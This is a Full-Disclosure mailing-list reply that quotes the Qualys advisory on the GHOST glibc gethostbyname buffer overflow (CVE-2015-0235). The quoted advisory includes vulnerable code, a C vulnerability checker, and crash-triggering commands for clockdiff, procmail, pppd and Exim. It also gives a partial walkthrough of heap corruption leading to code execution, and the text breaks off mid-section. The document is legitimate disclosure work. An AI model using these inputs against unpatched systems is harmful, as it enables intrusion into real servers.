lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Wed, 28 Jan 2015 19:41:38 +0200
From: Timo Goosen <timogoosen@...guard.tg>
To: fulldisclosure@...lists.org
Subject: Re: [FD] Qualys Security Advisory CVE-2015-0235 - GHOST: glibc
 gethostbyname buffer overflow

"Do you trust glibc? OK, perhaps that snide remark is overstating things
a bit, but secure software only happens when all the pieces have 100%
correct behavior."

    KernelTrap.org, November 26, 2001
 Theo De Raadt http://en.wikiquote.org/wiki/Talk:Theo_de_Raadt



On 27/01/2015 18:24, Qualys Security Advisory wrote:
> 
> Qualys Security Advisory CVE-2015-0235
> 
> GHOST: glibc gethostbyname buffer overflow
> 
> 
> --[ Contents ]----------------------------------------------------------------
> 
> 1 - Summary
> 2 - Analysis
> 3 - Mitigating factors
> 4 - Case studies
> 5 - Exploitation
> 6 - Acknowledgments
> 
> 
> --[ 1 - Summary ]-------------------------------------------------------------
> 
> During a code audit performed internally at Qualys, we discovered a
> buffer overflow in the __nss_hostname_digits_dots() function of the GNU
> C Library (glibc). This bug is reachable both locally and remotely via
> the gethostbyname*() functions, so we decided to analyze it -- and its
> impact -- thoroughly, and named this vulnerability "GHOST".
> 
> Our main conclusions are:
> 
> - Via gethostbyname() or gethostbyname2(), the overflowed buffer is
>   located in the heap. Via gethostbyname_r() or gethostbyname2_r(), the
>   overflowed buffer is caller-supplied (and may therefore be located in
>   the heap, stack, .data, .bss, etc; however, we have seen no such call
>   in practice).
> 
> - At most sizeof(char *) bytes can be overwritten (ie, 4 bytes on 32-bit
>   machines, and 8 bytes on 64-bit machines). Bytes can be overwritten
>   only with digits ('0'...'9'), dots ('.'), and a terminating null
>   character ('\0').
> 
> - Despite these limitations, arbitrary code execution can be achieved.
>   As a proof of concept, we developed a full-fledged remote exploit
>   against the Exim mail server, bypassing all existing protections
>   (ASLR, PIE, and NX) on both 32-bit and 64-bit machines. We will
>   publish our exploit as a Metasploit module in the near future.
> 
> - The first vulnerable version of the GNU C Library is glibc-2.2,
>   released on November 10, 2000.
> 
> - We identified a number of factors that mitigate the impact of this
>   bug. In particular, we discovered that it was fixed on May 21, 2013
>   (between the releases of glibc-2.17 and glibc-2.18). Unfortunately, it
>   was not recognized as a security threat; as a result, most stable and
>   long-term-support distributions were left exposed (and still are):
>   Debian 7 (wheezy), Red Hat Enterprise Linux 6 & 7, CentOS 6 & 7,
>   Ubuntu 12.04, for example.
> 
> 
> --[ 2 - Analysis ]------------------------------------------------------------
> 
> The vulnerable function, __nss_hostname_digits_dots(), is called
> internally by the glibc in nss/getXXbyYY.c (the non-reentrant version)
> and nss/getXXbyYY_r.c (the reentrant version). However, the calls are
> surrounded by #ifdef HANDLE_DIGITS_DOTS, a macro defined only in:
> 
> - inet/gethstbynm.c
> - inet/gethstbynm2.c
> - inet/gethstbynm_r.c
> - inet/gethstbynm2_r.c
> - nscd/gethstbynm3_r.c
> 
> These files implement the gethostbyname*() family, and hence the only
> way to reach __nss_hostname_digits_dots() and its buffer overflow. The
> purpose of this function is to avoid expensive DNS lookups if the
> hostname argument is already an IPv4 or IPv6 address.
> 
> The code below comes from glibc-2.17:
> 
>  35 int
>  36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
>  37                             char **buffer, size_t *buffer_size,
>  38                             size_t buflen, struct hostent **result,
>  39                             enum nss_status *status, int af, int *h_errnop)
>  40 {
>  ..
>  57   if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
>  58     {
>  59       const char *cp;
>  60       char *hostname;
>  61       typedef unsigned char host_addr_t[16];
>  62       host_addr_t *host_addr;
>  63       typedef char *host_addr_list_t[2];
>  64       host_addr_list_t *h_addr_ptrs;
>  65       char **h_alias_ptr;
>  66       size_t size_needed;
>  ..
>  85       size_needed = (sizeof (*host_addr)
>  86                      + sizeof (*h_addr_ptrs) + strlen (name) + 1);
>  87
>  88       if (buffer_size == NULL)
>  89         {
>  90           if (buflen < size_needed)
>  91             {
>  ..
>  95               goto done;
>  96             }
>  97         }
>  98       else if (buffer_size != NULL && *buffer_size < size_needed)
>  99         {
> 100           char *new_buf;
> 101           *buffer_size = size_needed;
> 102           new_buf = (char *) realloc (*buffer, *buffer_size);
> 103
> 104           if (new_buf == NULL)
> 105             {
> ...
> 114               goto done;
> 115             }
> 116           *buffer = new_buf;
> 117         }
> ...
> 121       host_addr = (host_addr_t *) *buffer;
> 122       h_addr_ptrs = (host_addr_list_t *)
> 123         ((char *) host_addr + sizeof (*host_addr));
> 124       h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
> 125       hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
> 126
> 127       if (isdigit (name[0]))
> 128         {
> 129           for (cp = name;; ++cp)
> 130             {
> 131               if (*cp == '\0')
> 132                 {
> 133                   int ok;
> 134
> 135                   if (*--cp == '.')
> 136                     break;
> ...
> 142                   if (af == AF_INET)
> 143                     ok = __inet_aton (name, (struct in_addr *) host_addr);
> 144                   else
> 145                     {
> 146                       assert (af == AF_INET6);
> 147                       ok = inet_pton (af, name, host_addr) > 0;
> 148                     }
> 149                   if (! ok)
> 150                     {
> ...
> 154                       goto done;
> 155                     }
> 156
> 157                   resbuf->h_name = strcpy (hostname, name);
> ...
> 194                   goto done;
> 195                 }
> 196
> 197               if (!isdigit (*cp) && *cp != '.')
> 198                 break;
> 199             }
> 200         }
> ...
> 
> Lines 85-86 compute the size_needed to store three (3) distinct entities
> in buffer: host_addr, h_addr_ptrs, and name (the hostname). Lines 88-117
> make sure the buffer is large enough: lines 88-97 correspond to the
> reentrant case, lines 98-117 to the non-reentrant case.
> 
> Lines 121-125 prepare pointers to store four (4) distinct entities in
> buffer: host_addr, h_addr_ptrs, h_alias_ptr, and hostname. The sizeof
> (*h_alias_ptr) -- the size of a char pointer -- is missing from the
> computation of size_needed.
> 
> The strcpy() on line 157 should therefore allow us to write past the end
> of buffer, at most (depending on strlen(name) and alignment) 4 bytes on
> 32-bit machines, or 8 bytes on 64-bit machines. There is a similar
> strcpy() after line 200, but no buffer overflow:
> 
> 236           size_needed = (sizeof (*host_addr)
> 237                          + sizeof (*h_addr_ptrs) + strlen (name) + 1);
> ...
> 267           host_addr = (host_addr_t *) *buffer;
> 268           h_addr_ptrs = (host_addr_list_t *)
> 269             ((char *) host_addr + sizeof (*host_addr));
> 270           hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs);
> ...
> 289                   resbuf->h_name = strcpy (hostname, name);
> 
> In order to reach the overflow at line 157, the hostname argument must
> meet the following requirements:
> 
> - Its first character must be a digit (line 127).
> 
> - Its last character must not be a dot (line 135).
> 
> - It must comprise only digits and dots (line 197) (we call this the
>   "digits-and-dots" requirement).
> 
> - It must be long enough to overflow the buffer. For example, the
>   non-reentrant gethostbyname*() functions initially allocate their
>   buffer with a call to malloc(1024) (the "1-KB" requirement).
> 
> - It must be successfully parsed as an IPv4 address by inet_aton() (line
>   143), or as an IPv6 address by inet_pton() (line 147). Upon careful
>   analysis of these two functions, we can further refine this
>   "inet-aton" requirement:
> 
>   . It is impossible to successfully parse a "digits-and-dots" hostname
>     as an IPv6 address with inet_pton() (':' is forbidden). Hence it is
>     impossible to reach the overflow with calls to gethostbyname2() or
>     gethostbyname2_r() if the address family argument is AF_INET6.
> 
>   . Conclusion: inet_aton() is the only option, and the hostname must
>     have one of the following forms: "a.b.c.d", "a.b.c", "a.b", or "a",
>     where a, b, c, d must be unsigned integers, at most 0xfffffffful,
>     converted successfully (ie, no integer overflow) by strtoul() in
>     decimal or octal (but not hexadecimal, because 'x' and 'X' are
>     forbidden).
> 
> 
> --[ 3 - Mitigating factors ]--------------------------------------------------
> 
> The impact of this bug is reduced significantly by the following
> reasons:
> 
> - A patch already exists (since May 21, 2013), and has been applied and
>   tested since glibc-2.18, released on August 12, 2013:
> 
>         [BZ #15014]
>         * nss/getXXbyYY_r.c (INTERNAL (REENTRANT_NAME))
>         [HANDLE_DIGITS_DOTS]: Set any_service when digits-dots parsing was
>         successful.
>         * nss/digits_dots.c (__nss_hostname_digits_dots): Remove
>         redundant variable declarations and reallocation of buffer when
>         parsing as IPv6 address.  Always set NSS status when called from
>         reentrant functions.  Use NETDB_INTERNAL instead of TRY_AGAIN when
>         buffer too small.  Correct computation of needed size.
>         * nss/Makefile (tests): Add test-digits-dots.
>         * nss/test-digits-dots.c: New test.
> 
> - The gethostbyname*() functions are obsolete; with the advent of IPv6,
>   recent applications use getaddrinfo() instead.
> 
> - Many programs, especially SUID binaries reachable locally, use
>   gethostbyname() if, and only if, a preliminary call to inet_aton()
>   fails. However, a subsequent call must also succeed (the "inet-aton"
>   requirement) in order to reach the overflow: this is impossible, and
>   such programs are therefore safe.
> 
> - Most of the other programs, especially servers reachable remotely, use
>   gethostbyname() to perform forward-confirmed reverse DNS (FCrDNS, also
>   known as full-circle reverse DNS) checks. These programs are generally
>   safe, because the hostname passed to gethostbyname() has normally been
>   pre-validated by DNS software:
> 
>   . "a string of labels each containing up to 63 8-bit octets, separated
>     by dots, and with a maximum total of 255 octets." This makes it
>     impossible to satisfy the "1-KB" requirement.
> 
>   . Actually, glibc's DNS resolver can produce hostnames of up to
>     (almost) 1025 characters (in case of bit-string labels, and special
>     or non-printable characters). But this introduces backslashes ('\\')
>     and makes it impossible to satisfy the "digits-and-dots"
>     requirement.
> 
> 
> --[ 4 - Case studies ]--------------------------------------------------------
> 
> In this section, we will analyze real-world examples of programs that
> call the gethostbyname*() functions, but we first introduce a small test
> program that checks whether a system is vulnerable or not:
> 
> [user@...ora-19 ~]$ cat > GHOST.c << EOF
> #include <netdb.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <errno.h>
> 
> #define CANARY "in_the_coal_mine"
> 
> struct {
>   char buffer[1024];
>   char canary[sizeof(CANARY)];
> } temp = { "buffer", CANARY };
> 
> int main(void) {
>   struct hostent resbuf;
>   struct hostent *result;
>   int herrno;
>   int retval;
> 
>   /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
>   size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
>   char name[sizeof(temp.buffer)];
>   memset(name, '0', len);
>   name[len] = '\0';
> 
>   retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
> 
>   if (strcmp(temp.canary, CANARY) != 0) {
>     puts("vulnerable");
>     exit(EXIT_SUCCESS);
>   }
>   if (retval == ERANGE) {
>     puts("not vulnerable");
>     exit(EXIT_SUCCESS);
>   }
>   puts("should not happen");
>   exit(EXIT_FAILURE);
> }
> EOF
> 
> [user@...ora-19 ~]$ gcc GHOST.c -o GHOST
> 
> On Fedora 19 (glibc-2.17):
> 
> [user@...ora-19 ~]$ ./GHOST
> vulnerable
> 
> On Fedora 20 (glibc-2.18):
> 
> [user@...ora-20 ~]$ ./GHOST
> not vulnerable
> 
> ----[ 4.1 - The GNU C Library ]-----------------------------------------------
> 
> The glibc itself contains a few calls to gethostbyname*() functions. In
> particular, getaddrinfo() calls gethostbyname2_r() if, but only if, a
> first call to inet_aton() fails: in accordance with the "inet-aton"
> requirement, these internal calls are safe. For example,
> eglibc-2.13/sysdeps/posix/getaddrinfo.c:
> 
>       at->family = AF_UNSPEC;
>       ...
>       if (__inet_aton (name, (struct in_addr *) at->addr) != 0)
>         {
>           if (req->ai_family == AF_UNSPEC || req->ai_family == AF_INET)
>             at->family = AF_INET;
>           else if (req->ai_family == AF_INET6 && (req->ai_flags & AI_V4MAPPED))
>             {
>               ...
>               at->family = AF_INET6;
>             }
>           else
>             return -EAI_ADDRFAMILY;
>           ...
>         }
>       ...
>       if (at->family == AF_UNSPEC && (req->ai_flags & AI_NUMERICHOST) == 0)
>         {
>           ...
>               size_t tmpbuflen = 512;
>               char *tmpbuf = alloca (tmpbuflen);
>               ...
>                   rc = __gethostbyname2_r (name, family, &th, tmpbuf,
>                                            tmpbuflen, &h, &herrno);
>           ...
>         }
> 
> ----[ 4.2 - mount.nfs ]-------------------------------------------------------
> 
> Similarly, mount.nfs (a SUID-root binary) is not vulnerable:
> 
>         if (inet_aton(hostname, &addr->sin_addr))
>                 return 0;
>         if ((hp = gethostbyname(hostname)) == NULL) {
>                 nfs_error(_("%s: can't get address for %s\n"),
>                                 progname, hostname);
>                 return -1;
>         }
> 
> ----[ 4.3 - mtr ]-------------------------------------------------------------
> 
> mtr (another SUID-root binary) is not vulnerable either, because it
> calls getaddrinfo() instead of gethostbyname*() functions on any modern
> (ie, IPv6-enabled) system:
> 
> #ifdef ENABLE_IPV6
>   /* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. */
>   ...
>   error = getaddrinfo( Hostname, NULL, &hints, &res );
>   if ( error ) {
>     if (error == EAI_SYSTEM)
>        perror ("Failed to resolve host");
>     else
>        fprintf (stderr, "Failed to resolve host: %s\n", gai_strerror(error));
>     exit( EXIT_FAILURE );
>   }
>   ...
> #else
>     host = gethostbyname(Hostname);
>   if (host == NULL) {
>     herror("mtr gethostbyname");
>     exit(1);
>   }
>   ...
> #endif
> 
> ----[ 4.4 - iputils ]---------------------------------------------------------
> 
> ------[ 4.4.1 - clockdiff ]---------------------------------------------------
> 
> clockdiff is vulnerable in a straightforward manner:
> 
>         hp = gethostbyname(argv[1]);
>         if (hp == NULL) {
>                 fprintf(stderr, "clockdiff: %s: host not found\n", argv[1]);
>                 exit(1);
>         }
> 
> [user@...ora-19-32b ~]$ ls -l /usr/sbin/clockdiff
> -rwxr-xr-x. 1 root root 15076 Feb  1  2013 /usr/sbin/clockdiff
> 
> [user@...ora-19-32b ~]$ getcap /usr/sbin/clockdiff
> /usr/sbin/clockdiff = cap_net_raw+ep
> 
> [user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"`
> .Segmentation fault
> 
> [user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"`
> Segmentation fault
> 
> [user@...ora-19-32b ~]$ dmesg
> ...
> [202071.118929] clockdiff[3610]: segfault at b86711f4 ip b75de0c6 sp bfc191f0 error 6 in libc-2.17.so[b7567000+1b8000]
> [202086.144336] clockdiff[3618]: segfault at b90d0d24 ip b75bb0c6 sp bf8e9dc0 error 6 in libc-2.17.so[b7544000+1b8000]
> 
> ------[ 4.4.2 - ping and arping ]---------------------------------------------
> 
> ping and arping call gethostbyname() and gethostbyname2(), respectively,
> if and only if inet_aton() fails first. This time, however, there is
> another function call in between (Fedora, for example, does define
> USE_IDN):
> 
> --------[ 4.4.2.1 - ping ]----------------------------------------------------
> 
>                 if (inet_aton(target, &whereto.sin_addr) == 1) {
>                         ...
>                 } else {
>                         char *idn;
> #ifdef USE_IDN
>                         int rc;
>                         ...
>                         rc = idna_to_ascii_lz(target, &idn, 0);
>                         if (rc != IDNA_SUCCESS) {
>                                 fprintf(stderr, "ping: IDN encoding failed: %s\n", idna_strerror(rc));
>                                 exit(2);
>                         }
> #else
>                         idn = target;
> #endif
>                         hp = gethostbyname(idn);
> 
> --------[ 4.4.2.2 - arping ]--------------------------------------------------
> 
>         if (inet_aton(target, &dst) != 1) {
>                 struct hostent *hp;
>                 char *idn = target;
> #ifdef USE_IDN
>                 int rc;
> 
>                 rc = idna_to_ascii_lz(target, &idn, 0);
> 
>                 if (rc != IDNA_SUCCESS) {
>                         fprintf(stderr, "arping: IDN encoding failed: %s\n", idna_strerror(rc));
>                         exit(2);
>                 }
> #endif
> 
>                 hp = gethostbyname2(idn, AF_INET);
> 
> --------[ 4.4.2.3 - Analysis ]------------------------------------------------
> 
> If idna_to_ascii_lz() modifies the target hostname, the first call to
> inet_aton() could fail and the second call (internal to gethostbyname())
> could succeed. For example, idna_to_ascii_lz() transforms any Unicode
> dot-like character (0x3002, 0xFF0E, 0xFF61) into an ASCII dot (".").
> 
> But it also restricts the length of a domain label to 63 characters:
> this makes it impossible to reach 1024 bytes (the "1-KB" requirement)
> with only 4 labels and 3 dots (the "inet-aton" requirement).
> 
> Unless inet_aton() (actually, strtoul()) can be tricked into accepting
> more than 3 dots? Indeed, idna_to_ascii_lz() does not restrict the total
> length of a domain name. glibc supports "thousands' grouping characters"
> (man 3 printf); for example, sscanf(str, "%'lu", &ul) yields 1000 when
> processing any of the following input strings:
> 
> - "1,000" in an English locale;
> - "1 000" in a French locale; and
> - "1.000" in a German or Spanish locale.
> 
> strtoul() implements this "number grouping" too, but its use is limited
> to internal glibc functions. Conclusion: more than 3 dots is impossible,
> and neither ping nor arping is vulnerable.
> 
> ----[ 4.5 - procmail ]--------------------------------------------------------
> 
> procmail (a SUID-root and SGID-mail binary) is vulnerable through its
> "comsat/biff" feature:
> 
> #define COMSAThost      "localhost"    /* where the biff/comsat daemon lives */
> ...
> #define SERV_ADDRsep    '@'           /* when overriding in COMSAT=serv@...r */
> 
> int setcomsat(chp)const char*chp;
> { char*chad; ...
>   chad=strchr(chp,SERV_ADDRsep);                             /* @ separator? */
>   ...
>   if(chad)
>      *chad++='\0';                                    /* split the specifier */
>   if(!chad||!*chad)                                               /* no host */
> #ifndef IP_localhost                          /* Is "localhost" preresolved? */
>      chad=COMSAThost;                                   /* nope, use default */
> #else /* IP_localhost */
>    { ...
>    }
>   else
> #endif /* IP_localhost */
>    { ...
>      if(!(host=gethostbyname(chad))||!host->h_0addr_list)
> 
> user@...ian-7-2-32b:~$ ls -l /usr/bin/procmail
> -rwsr-sr-x 1 root mail 83912 Jun  6  2012 /usr/bin/procmail
> 
> user@...ian-7-2-32b:~$ /usr/bin/procmail 'VERBOSE=on' 'COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"` < /dev/null
> ...
> *** glibc detected *** /usr/bin/procmail: free(): invalid next size (normal): 0x0980de30 ***
> ======= Backtrace: =========
> /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb76b2f01]
> /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb76b4768]
> /lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb76b781d]
> /usr/bin/procmail[0x80548ec]
> /lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb7658e46]
> /usr/bin/procmail[0x804bb55]
> ======= Memory map: ========
> ...
> 0980a000-0982b000 rw-p 00000000 00:00 0          [heap]
> ...
> Aborted
> 
> user@...ian-7-2-32b:~$ _COMSAT_='COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"`
> 
> user@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_" "$_COMSAT_"1234 < /dev/null
> Segmentation fault
> 
> user@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_"12345670 "$_COMSAT_"123456701234 < /dev/null
> Segmentation fault
> 
> user@...ian-7-2-32b:~$ dmesg
> ...
> [211409.564917] procmail[4549]: segfault at c ip b768e5a4 sp bfcb53d8 error 4 in libc-2.13.so[b761c000+15c000]
> [211495.820710] procmail[4559]: segfault at b8cb290c ip b763c5a4 sp bf870c98 error 4 in libc-2.13.so[b75ca000+15c000]
> 
> ----[ 4.6 - pppd ]------------------------------------------------------------
> 
> pppd (yet another SUID-root binary) calls gethostbyname() if a
> preliminary call to inet_addr() (a simple wrapper around inet_aton())
> fails. "The inet_addr() function converts the Internet host address cp
> from IPv4 numbers-and-dots notation into binary data in network byte
> order. If the input is invalid, INADDR_NONE (usually -1) is returned.
> Use of this function is problematic because -1 is a valid address
> (255.255.255.255)." A failure for inet_addr(), but a success for
> inet_aton(), and consequently a path to the buffer overflow.
> 
> user@...ntu-12-04-32b:~$ ls -l /usr/sbin/pppd
> -rwsr-xr-- 1 root dip 273272 Feb  3  2011 /usr/sbin/pppd
> 
> user@...ntu-12-04-32b:~$ id
> uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
> 
> ------[ 4.6.1 - ms-dns option ]-----------------------------------------------
> 
> static int
> setdnsaddr(argv)
>     char **argv;
> {
>     u_int32_t dns;
>     struct hostent *hp;
> 
>     dns = inet_addr(*argv);
>     if (dns == (u_int32_t) -1) {
>         if ((hp = gethostbyname(*argv)) == NULL) {
>             option_error("invalid address parameter '%s' for ms-dns option",
>                          *argv);
>             return 0;
>         }
>         dns = *(u_int32_t *)hp->h_addr;
>     }
> 
> user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-dns' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'
> *** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x09c0f928 ***
> ======= Backtrace: =========
> /lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb75e1ee2]
> /lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb75d1db5]
> /lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb75d1deb]
> /usr/sbin/pppd(options_from_file+0xa8)[0x8064948]
> /usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]
> /usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]
> /usr/sbin/pppd(main+0x1cf)[0x8050b2f]
> /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb75854d3]
> ======= Memory map: ========
> ...
> 09c0c000-09c2d000 rw-p 00000000 00:00 0          [heap]
> ...
> Aborted (core dumped)
> 
> ------[ 4.6.2 - ms-wins option ]----------------------------------------------
> 
> static int
> setwinsaddr(argv)
>     char **argv;
> {
>     u_int32_t wins;
>     struct hostent *hp;
> 
>     wins = inet_addr(*argv);
>     if (wins == (u_int32_t) -1) {
>         if ((hp = gethostbyname(*argv)) == NULL) {
>             option_error("invalid address parameter '%s' for ms-wins option",
>                          *argv);
>             return 0;
>         }
>         wins = *(u_int32_t *)hp->h_addr;
>     }
> 
> user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-wins' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'
> *** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x08a64928 ***
> ======= Backtrace: =========
> /lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb757aee2]
> /lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb756adb5]
> /lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb756adeb]
> /usr/sbin/pppd(options_from_file+0xa8)[0x8064948]
> /usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]
> /usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]
> /usr/sbin/pppd(main+0x1cf)[0x8050b2f]
> /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb751e4d3]
> ======= Memory map: ========
> ...
> 08a61000-08a82000 rw-p 00000000 00:00 0          [heap]
> ...
> Aborted (core dumped)
> 
> ------[ 4.6.3 - socket option ]-----------------------------------------------
> 
> static int
> open_socket(dest)
>     char *dest;
> {
>     char *sep, *endp = NULL;
>     int sock, port = -1;
>     u_int32_t host;
>     struct hostent *hent;
>     ...
>     sep = strchr(dest, ':');
>     if (sep != NULL)
>         port = strtol(sep+1, &endp, 10);
>     if (port < 0 || endp == sep+1 || sep == dest) {
>         error("Can't parse host:port for socket destination");
>         return -1;
>     }
>     *sep = 0;
>     host = inet_addr(dest);
>     if (host == (u_int32_t) -1) {
>         hent = gethostbyname(dest);
>         if (hent == NULL) {
>             error("%s: unknown host in socket option", dest);
>             *sep = ':';
>             return -1;
>         }
>         host = *(u_int32_t *)(hent->h_addr_list[0]);
>     }
> 
> user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'socket' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255:1'
> user@...ntu-12-04-32b:~$ *** glibc detected *** /usr/sbin/pppd: malloc(): memory corruption: 0x09cce270 ***
> 
> ----[ 4.7 - Exim ]------------------------------------------------------------
> 
> The Exim mail server is exploitable remotely if configured to perform
> extra security checks on the HELO and EHLO commands ("helo_verify_hosts"
> or "helo_try_verify_hosts" option, or "verify = helo" ACL); we developed
> a reliable and fully-functional exploit that bypasses all existing
> protections (ASLR, PIE, NX) on 32-bit and 64-bit machines.
> 
> user@...ian-7-7-64b:~$ grep helo /var/lib/exim4/config.autogenerated | grep verify
> helo_verify_hosts = *
> 
> user@...ian-7-7-64b:~$ python -c "print '0' * $((0x500-16*1-2*8-1-8))"
> 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
 00
>  000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
> 
> user@...ian-7-7-64b:~$ telnet 127.0.0.1 25
> Trying 127.0.0.1...
> Connected to 127.0.0.1.
> Escape character is '^]'.
> 220 debian-7-7-64b ESMTP Exim 4.80 ...
> HELO 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
 00
>  00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
> Connection closed by foreign host.
> 
> user@...ian-7-7-64b:~$ dmesg
> ...
> [ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in libc-2.13.so[7fabef2a2000+182000]
> 
> 
> --[ 5 - Exploitation ]--------------------------------------------------------
> 
> ----[ 5.1 - Code execution ]--------------------------------------------------
> 
> In this section, we describe how we achieve remote code execution
> against the Exim SMTP mail server, bypassing the NX (No-eXecute)
> protection and glibc's malloc hardening.
> 
> First, we overflow gethostbyname's heap-based buffer and partially
> overwrite the size field of the next contiguous free chunk of memory
> with a slightly larger size (we overwrite only 3 bytes of the size
> field; in any case, we cannot overflow more than 4 bytes on 32-bit
> machines, or 8 bytes on 64-bit machines):
> 
> 
>                             |< malloc_chunk
>                             |
> -----|----------------------|---+--------------------|-----
>  ... | gethostbyname buffer |p|s|f|b|F|B| free chunk | ...
> -----|----------------------|---+--------------------|-----
>      |                         X|
>      |------------------------->|
>                overflow
> 
> where:
> 
> struct malloc_chunk {
> 
>   INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
>   INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
> 
>   struct malloc_chunk* fd;         /* double links -- used only if free. */
>   struct malloc_chunk* bk;
> 
>   /* Only used for large blocks: pointer to next larger size.  */
>   struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
>   struct malloc_chunk* bk_nextsize;
> };
> 
> and: X marks the spot where the crucial memory corruption takes place.
> 
> 
> As a result, this artificially-enlarged free chunk, which is managed by
> glibc's malloc, overlaps another block of memory, Exim's current_block,
> which is managed by Exim's internal memory allocator:
> 
> 
>                             |< malloc_chunk          |< storeblock
>                             |                        |
> -----|----------------------|------------------------|---------------+---|-----
>  ... | gethostbyname buffer |p|s|f|b|F|B| free chunk |n|l| current_block | ...
> -----|----------------------|------------------------|---------------+---|-----
>                             |                                        |
>                             |<-------------------------------------->|
>                                  artificially enlarged free chunk
> 
> where:
> 
> typedef struct storeblock {
>   struct storeblock *next;
>   size_t length;
> } storeblock;
> 
> 
> Then, we partially allocate the enlarged free chunk and overwrite the
> beginning of Exim's current_block of memory (the "storeblock" structure)
> with arbitrary data. In particular, we overwrite its "next" field:
> 
> 
>                             |< malloc_chunk          |< storeblock
>                             |                        |
> -----|----------------------|------------------------|--------+----------|-----
>  ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaaaaa |n|l| current_block | ...
> -----|----------------------|------------------------|--------+----------|-----
>                             |                         X       |
>                             |<------------------------------->|
>                                       allocated chunk
> 
> 
> This effectively turns gethostbyname's buffer overflow into a
> write-anything-anywhere primitive, because we control both the pointer
> to the next block of memory returned by Exim's allocator (the hijacked
> "next" pointer) and the data allocated (a null-terminated string, the
> argument of an SMTP command we send to Exim).
> 
> Finally, we use this write-anything-anywhere primitive to overwrite
